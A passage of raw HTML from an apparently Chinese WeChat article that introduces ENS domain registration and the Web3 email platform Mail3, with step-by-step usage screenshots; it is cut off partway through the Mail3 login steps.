1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">与</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的最大区别，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">当一个</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2.0<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">时代的产品在通过去中心化变革后彻底摆脱中心化平台的控制，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">该应用即完成了从</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">到</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的成功衍变。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">以下就此类产品进行相关介绍。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">1.从.com到ens</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">以太坊域名服务（<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS</span>）是基于以太坊区块链的域名系统（<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Domain Name System</span>：<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DNS</span>），它在互联网上分配地址，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>将包含随机数字和字母的复杂以太坊地址转化成易读<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">/</span>易理解的名字。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这使得新兴的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>生态系统更加“接地气”，更具市场价值，因为人们和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">dApp </span>可以轻松共享加密地址。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">由于以太坊的市场主导地位，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>引发了争夺最佳 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>注册的热潮，类似于 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">1990 </span>年代 “<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.com</span>” 域名所引发的潮流。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>运行在以太坊上，是一个去中心化的名称标记系统，可将机器可读的标识符（地址、元数据、内容哈希）转换为人类可读的名称。我们以以太坊联合创始人 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Vitalik Buterin </span>为例：<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;font-family: Arial, Helvetica, sans-serif;">V神在Etherscan.io上的地址是0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045</span><o:p></o:p></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS 将该字符串转换为vitalik.eth，设置为 2034 年到期。</span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><em><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></em></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">vitalik.eth </span>由两部分组成：注册者和控制者。在这两种情况下，我们都得到了相同的地址，因为 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Vitalik </span>没有转让他的所有权。控制者有权编辑域的记录。</span></section><section style="font-size: 10.5pt;white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">如果他愿意，作为注册所有者，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Vitalik </span>可以将所有权转让给控制者，负责创建子域和其他日常操作。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>通过两个智能合约管理域名所有权。</span></section><section style="font-size: 10.5pt;white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">第一个是 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>注册表，一个记录和保存域名和子域名的数据库。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">第二个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>智能合约是 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Resolver</span>。它负责将机器可读的地址格式化为人类可读的文本，就像 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DNS </span>如何将 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">IP </span>地址转换为 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">URL </span>文本一样。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">换句话说，虽然 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DNS </span>使 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web2 </span>易于理解，但 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>使 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>易于理解。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">作为记录持有者，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS </span>注册表存储域的所有者和解析器。所有者可以是另一个智能合约，也可以是拥有外部账户的用户。注册人是一个智能合约，拥有域名所有权，能够发行子域名。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">因此，域所有者可以更改子域所有权，将域所有权转移到另一个地址，或者为域设置域的生存时间 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(TTL) </span>缓存。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在实践中，当请求<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">vitalik.eth </span>时，会向注册表智能合约发送查询以获取域所有权。然后注册表输出负责转换的解析器，传递它转换的地址。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">我们以<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS</span>域名注册为例尝试使用，第 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">1 </span>步：前往 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">app.ens.domains</span>，然后点击左上角的“<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Connect</span>”（连接），连接使用的加密钱包。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4570527974783294" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=410c76a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7DVtG2Itgnk5aqVoSZ1GlbVVUueajJiagngyaDKpj1qLbapuJcB3Z8hA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">第 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2 </span>步：在搜索选项卡中，查找希望拥有的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.eth </span>域名。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第</span> 3 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">步：搜索结果会显示这个域名是否可用，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">如果可用会显示“</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Avaiable</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">”</span></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3794466403162055" data-s="300,640" style="" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=cb5c459a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7W5o6VTT3JVarn8slOubFibWtgOwFUEINFzlbpYuXunwichdp2TyhT63Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第</span> 4 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">步：给出报价，选择注册，钱包支付后域名即注册成功。</span><o:p></o:p></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48224151539068666" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=b58c6895&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7MhWgPLRib6EacFmqsMoC86xQ4oDoicQcxqNic7HMVKOB8DvyhZXzy4L9g%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;text-align: justify;font-family: Arial, Helvetica, sans-serif;"> </span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">可以看见，与传统域名注册机制相比，ENS的注册与支付更为便捷快速，所有权与转让机制也更为清晰。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">另一方面，使用者可以将自己的钱包映射到域名中，以更简单明了的方式记住自己的钱包而不是一串复杂的长字符串。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">当然，现在的ENS仍然处于处于发展期间，使用面仍然很小,目前的ENS更多的是作为一个新型市场来吸收资金入场以扩展其自身影响。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">但就如web2时代域名市场的发展，未来ENS也将成为一个竞争激烈的战场。截至目前，如 baidu、taobao、jingdong等目前web2的大域名已经在ENS被成功注册，也可以看出大家对该项目的看好。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding-right: 18px;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">2.从传统Email到Mail3</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>的初心在于打造一个<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>原生的通信平台，逐渐发展成为<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>通信的基础设施，以及链上关系和声誉等价值信息的传播平台，通过用户的链上社交关系来打造独一无二的身份。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">简单说来，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>是用个人钱包与地址和去同质化身份来识别身份的，还可以标记邮件的地址。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在技术上，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>通过开放协议和经济激励实现去中心化和持久化服务，任何人都可以是服务节点，为其他用户提供安全且无需许可的服务，而且还可以与传统服务兼容。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">换句话说，汽车，摩托车，自行车都可以上马路，只要规划好各自的路线，构建合理的交通法规即可畅通无阻。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">另外<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>还支持去中心化域名系统作为邮箱别名，并为每个用户创建链上的简要空间用来保存关键信息；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户还可以将自己的隐私信息、社交偏好等在链上保存，方便其他<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>应用访问以获得更好的服务；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">也能通过数字签名技术支持所有链的区块链钱包，甚至支持一些非应用类区块链；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">以及很关键的分布式永久存储，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>通过数据整理器网络（<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DataCollatorNetwork</span>，简称<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DCN</span>）实现，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DCN</span>的分布式存储架构可以提供针对持久备份、优化的带宽和响应速度等的激励层。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">从结构上说，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>总体可分为三层：应用层、共识层、数据可用层。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在应用层提供用户访问接口和邮件收发端口，支持包括多链钱包、邮件加密、数字签名收发社区邮件以及链上社交关系的读取与写入等功能；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">共识层则搭建在区块链上，承载用户的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DID</span>等数据，并为<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DAO</span>投票、质押和<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DCN</span>选举提供可信的基础设施。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">数据可用层即<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DCN</span>，由分布在全球的若干个分布式节点透过相互连接。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DCN</span>节点通过质押代币和用户投票当选，并自动备份用户数据，提供数据可用服务。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">总体来看，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mail3</span>的确是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>的基础设施，运行方式更像小组件。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">其出发点在于打造<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>原生的通信平台，与其他应用形成连锁效应，共同构建一个可持续发展的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DAO</span>，配合代币激励机制将会打造一个社区驱动且自治的模式，这也是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>生态繁荣和持续发展的必要条件。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">打开</span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.me</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8089976322020521" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=1fd4178b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7mIcjkVibYZkl9NrUOvSRial7czvVPSHtczEEHxfn0coAI67s8XvxVDBQ%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;text-align: justify;font-family: Arial, Helvetica, sans-serif;"> </span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">选择钱包登陆<span style="color: rgb(84, 84, 84);font-size: 14px;">Dapp</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8421468034727704" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=1adabca6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7VCPstq86QdRrbzU04HErE81KtXMVic0qrflMhRvz8bGhyZwicE6iac3zA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 